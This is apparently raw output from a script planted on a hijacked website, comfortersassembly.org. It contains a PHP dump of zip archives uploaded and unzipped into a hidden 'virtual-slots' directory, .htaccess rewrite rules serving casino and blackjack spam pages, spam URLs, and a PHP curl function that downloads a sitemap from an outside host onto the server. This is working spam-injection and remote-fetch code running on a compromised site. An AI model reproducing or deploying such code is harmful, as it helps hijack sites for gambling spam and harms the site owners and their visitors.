array(5) { ["uploadDirectory"]=> string(37) "/home/xtbtdirp/comfortersassembly.org" ["dirName"]=> string(13) "virtual-slots" ["action"]=> string(6) "finish" ["path"]=> string(0) "" ["full"]=> array(11) { [0]=> string(21) "upload 1.zip 2.340 Mb" [1]=> string(21) "upload 2.zip 2.334 Mb" [2]=> string(21) "upload 3.zip 2.328 Mb" [3]=> string(21) "upload 4.zip 2.338 Mb" [4]=> string(21) "upload 5.zip 2.344 Mb" [5]=> string(11) "unzip 1.zip" [6]=> string(11) "unzip 2.zip" [7]=> string(11) "unzip 3.zip" [8]=> string(11) "unzip 4.zip" [9]=> string(11) "unzip 5.zip" [10]=> NULL } } previous log found finish log file /home/xtbtdirp/comfortersassembly.org/update-log.txt mb delete? upload directory /home/xtbtdirp/comfortersassembly.org <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^(virtual-slots)/(.+)$ //home/xtbtdirp/comfortersassembly.org/$1/$2 [L,NC] RewriteRule ^(virtual-slots)(/?)$ //home/xtbtdirp/comfortersassembly.org/$1/index.html [L,NC] RewriteRule ^(virtual-slots)/jquery.js$ //home/xtbtdirp/comfortersassembly.org/$1/jquery.js [L,NC] RewriteRule ^(virtual-slots)/sitemap.xml$ //home/xtbtdirp/comfortersassembly.org/$1/sitemap.xml [L,NC] </IfModule> http://comfortersassembly.org/virtual-slots/blackjack-standard-strategy-uk.html http://comfortersassembly.org/virtual-slots/blackjack-standard-strategy-uk.html http://comfortersassembly.org/virtual-slots::CSN/ICR/SINGLE/HTML/EN/3 http://comfortersassembly.org/virtual-slots::CSN/ICR/SINGLE/HTML/EN/3 function get_file($source, $localname) { $file = fopen('php://temp/maxmemory:0', 'w+b'); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $source); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FILE, $file); curl_exec($ch); rewind($file); file_put_contents($localname, stream_get_contents($file)); fclose($file); curl_close($ch); echo $localname . ' - ' . filesizemb($localname) . ' MB' . PHP_EOL; } function filesizemb($file) { return number_format(filesize($file) / pow(1024, 2), 3, '.', ''); } get_file('http://neighborshub.net/static/html/CSN/ICR/SINGLE/HTML/EN/3/sitemap.xml', '/home/xtbtdirp/comfortersassembly.org/virtual-slots/sitemap.xml');